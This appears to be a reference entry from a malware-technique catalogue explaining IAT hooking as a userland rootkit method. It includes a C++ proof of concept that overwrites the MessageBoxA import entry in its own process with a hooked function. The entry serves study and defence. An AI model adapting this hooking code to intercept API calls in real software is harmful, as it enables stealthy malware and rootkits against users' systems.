IAT Hooking

Created the Saturday 23 March 2019. Updated 6 months, 2 weeks ago.

IAT hooking is a way to run malicious code by modifying the Import Address Table of a specific executable. Consisting of replacing one legitimate function from imported DLL by a malicious one.

IAT hooking and inline hooking are generally known as userland rootkits. IAT hooking is a technique that malware uses to change the import address table. When a legitimate application calls an API located in a DLL, the replaced function is executed instead of the original one. In contrast, with inline hooking, malware modifies the API function itself.

Technique Identifiers

U1217 F0015.003

Technique Tag

iat

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

Code Snippets

Description

Original source code: https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking

#include <iostream>
#include <Windows.h>
#include <winternl.h>

// define MessageBoxA prototype
using PrototypeMessageBox = int (WINAPI *)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

// remember memory address of the original MessageBoxA routine
PrototypeMessageBox originalMsgBox = MessageBoxA;

// hooked function with malicious code that eventually calls the original MessageBoxA
int hookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
	MessageBoxW(NULL, L"Ola Hooked from a Rogue Senor .o.", L"Ola Senor o/", 0);
	// execute the original NessageBoxA
	return originalMsgBox(hWnd, lpText, lpCaption, uType);
}

int main()
{
	// message box before IAT unhooking
	MessageBoxA(NULL, "Hello Before Hooking", "Hello Before Hooking", 0);
	
	LPVOID imageBase = GetModuleHandleA(NULL);
	PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)imageBase;
	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeaders->e_lfanew);

	PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
	IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
	importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)imageBase);
	LPCSTR libraryName = NULL;
	HMODULE library = NULL;
	PIMAGE_IMPORT_BY_NAME functionName = NULL; 

	while (importDescriptor->Name != NULL)
	{
		libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)imageBase;
		library = LoadLibraryA(libraryName);

		if (library)
		{
			PIMAGE_THUNK_DATA originalFirstThunk = NULL, firstThunk = NULL;
			originalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->OriginalFirstThunk);
			firstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->FirstThunk);

			while (originalFirstThunk->u1.AddressOfData != NULL)
			{
				functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)imageBase + originalFirstThunk->u1.AddressOfData);
					
				// find MessageBoxA address
				if (std::string(functionName->Name).compare("MessageBoxA") == 0)
				{
					SIZE_T bytesWritten = 0;
					DWORD oldProtect = 0;
					VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect);
						
					// swap MessageBoxA address with address of hookedMessageBox
					firstThunk->u1.Function = (DWORD_PTR)hookedMessageBox;
				}
				++originalFirstThunk;
				++firstThunk;
			}
		}

		importDescriptor++;
	}

	// message box after IAT hooking
	MessageBoxA(NULL, "Hello after Hooking", "Hello after Hooking", 0);
	
	return 0;
}

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108